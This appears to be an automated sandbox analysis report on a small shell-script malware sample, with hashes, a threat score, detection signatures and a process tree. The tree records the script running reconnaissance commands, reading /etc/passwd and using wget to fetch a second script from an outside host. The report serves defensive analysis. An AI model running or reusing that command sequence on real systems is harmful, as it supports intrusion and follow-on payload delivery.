Analysis
- max time kernel
1s - max time network
2s - platform
debian-9_armhf - resource
debian9-armhf-20260513-en - resource tags
arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem - submitted
02/08/2026, 15:14
Static task
static1
Behavioral task
behavioral1
Sample
3f51f54afa21ddd4e099e2e4d6dfb1a8ea961cdb7d9bd024abaf5e50e9ca2c82.sh
Resource
ubuntu1804-amd64-20260513-en
ubuntu-18.04-amd64
4 signatures
40 seconds
Behavioral task
behavioral2
Sample
3f51f54afa21ddd4e099e2e4d6dfb1a8ea961cdb7d9bd024abaf5e50e9ca2c82.sh
Resource
debian9-armhf-20260513-en
debian-9-armhf
4 signatures
40 seconds
Behavioral task
behavioral3
Sample
3f51f54afa21ddd4e099e2e4d6dfb1a8ea961cdb7d9bd024abaf5e50e9ca2c82.sh
Resource
debian9-mipsbe-20260513-en
debian-9-mips
0 signatures
40 seconds
Behavioral task
behavioral4
Sample
3f51f54afa21ddd4e099e2e4d6dfb1a8ea961cdb7d9bd024abaf5e50e9ca2c82.sh
Resource
debian9-mipsel-20260513-en
debian-9-mipsel
0 signatures
40 seconds
General
- Target 3f51f54afa21ddd4e099e2e4d6dfb1a8ea961cdb7d9bd024abaf5e50e9ca2c82.sh
- Size 178B
- Sample260802-smnyback3s
- SHA256 3f51f54afa21ddd4e099e2e4d6dfb1a8ea961cdb7d9bd024abaf5e50e9ca2c82
- MD5 8d3e84accd99d13b3127c2ae4379b004
- SHA1 47d0ed268f5dfedb866ed1186f08fa78ac6c6b83
- SHA512 cc11916854ba79a3591a121e42bd0d43f7b63b5e6b7f0a2cfc99c25c56ff37584dbbb1d521809f2b0e35cf831a9ff630c2e3596d437f1c541e8dd1758358ded8
- TLSH T1D0C0C0DF4209CBA40C17C0501D848176D040D2472300009C8CF8C9CB10BD30AB241981
- MD5 SHA1 SHA512 TLSH
Score
6/10
Malware Config
Signatures
- Enumerates running processes
Discovers information about currently running processes on the system
- Discovers running processes 1 TTPs 1 IoCs
Running process information can be used to identify security tools or plan follow-on actions.
pid Process 680 ps - Reads CPU attributes 1 TTPs 1 IoCs
description ioc Process File opened for reading /sys/devices/system/cpu/online ps -
description ioc Process File opened for reading /proc/4/stat ps File opened for reading /proc/20/stat ps File opened for reading /proc/24/status ps File opened for reading /proc/9/stat ps File opened for reading /proc/14/stat ps File opened for reading /proc/567/status ps File opened for reading /proc/644/cmdline ps File opened for reading /proc/680/stat ps File opened for reading /proc/self/stat ps File opened for reading /proc/13/status ps File opened for reading /proc/20/cmdline ps File opened for reading /proc/41/stat ps File opened for reading /proc/136/cmdline ps File opened for reading /proc/299/stat ps File opened for reading /proc/677/status ps File opened for reading /proc/sys/kernel/ngroups_max id File opened for reading /proc/22/stat ps File opened for reading /proc/108/stat ps File opened for reading /proc/159/stat ps File opened for reading /proc/321/cmdline ps File opened for reading /proc/646/cmdline ps File opened for reading /proc/650/stat ps File opened for reading /proc/667/status ps File opened for reading /proc/134/cmdline ps File opened for reading /proc/229/status ps File opened for reading /proc/229/cmdline ps File opened for reading /proc/593/status ps File opened for reading /proc/650/status ps File opened for reading /proc/76/stat ps File opened for reading /proc/sys/kernel/pid_max ps File opened for reading /proc/1/stat ps File opened for reading /proc/2/status ps File opened for reading /proc/8/stat ps File opened for reading /proc/16/cmdline ps File opened for reading /proc/23/status ps File opened for reading /proc/24/stat ps File opened for reading /proc/filesystems id File opened for reading /proc/10/cmdline ps File opened for reading /proc/25/stat ps File opened for reading /proc/26/stat ps File opened for reading /proc/27/stat ps File opened for reading /proc/299/status ps File opened for reading /proc/312/stat ps File opened for reading /proc/326/stat ps File opened for reading /proc/312/status ps File opened for reading /proc/637/cmdline ps File opened for reading /proc/43/stat ps File opened for reading /proc/43/cmdline ps File opened for reading /proc/1/cmdline ps File opened for reading /proc/16/status ps File opened for reading /proc/23/cmdline ps File opened for reading /proc/27/cmdline ps File opened for reading /proc/41/status ps File opened for reading /proc/42/cmdline ps File opened for reading /proc/12/cmdline ps File opened for reading /proc/24/cmdline ps File opened for reading /proc/105/status ps File opened for reading /proc/136/status ps File opened for reading /proc/312/cmdline ps File opened for reading /proc/580/cmdline ps File opened for reading /proc/593/cmdline ps File opened for reading /proc/594/status ps File opened for reading /proc/15/stat ps File opened for reading /proc/11/cmdline ps
Processes
-
/tmp/3f51f54afa21ddd4e099e2e4d6dfb1a8ea961cdb7d9bd024abaf5e50e9ca2c82.sh/tmp/3f51f54afa21ddd4e099e2e4d6dfb1a8ea961cdb7d9bd024abaf5e50e9ca2c82.sh1⤵PID:648
-
/bin/unameuname -a2⤵PID:653
-
-
/usr/bin/idid2⤵
- Reads runtime system information
PID:656
-
-
/bin/lsls -la /2⤵PID:661
-
-
/bin/catcat /etc/passwd2⤵PID:668
-
-
/usr/bin/wgetwget http://example.com/y.sh2⤵PID:672
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
PID:680
-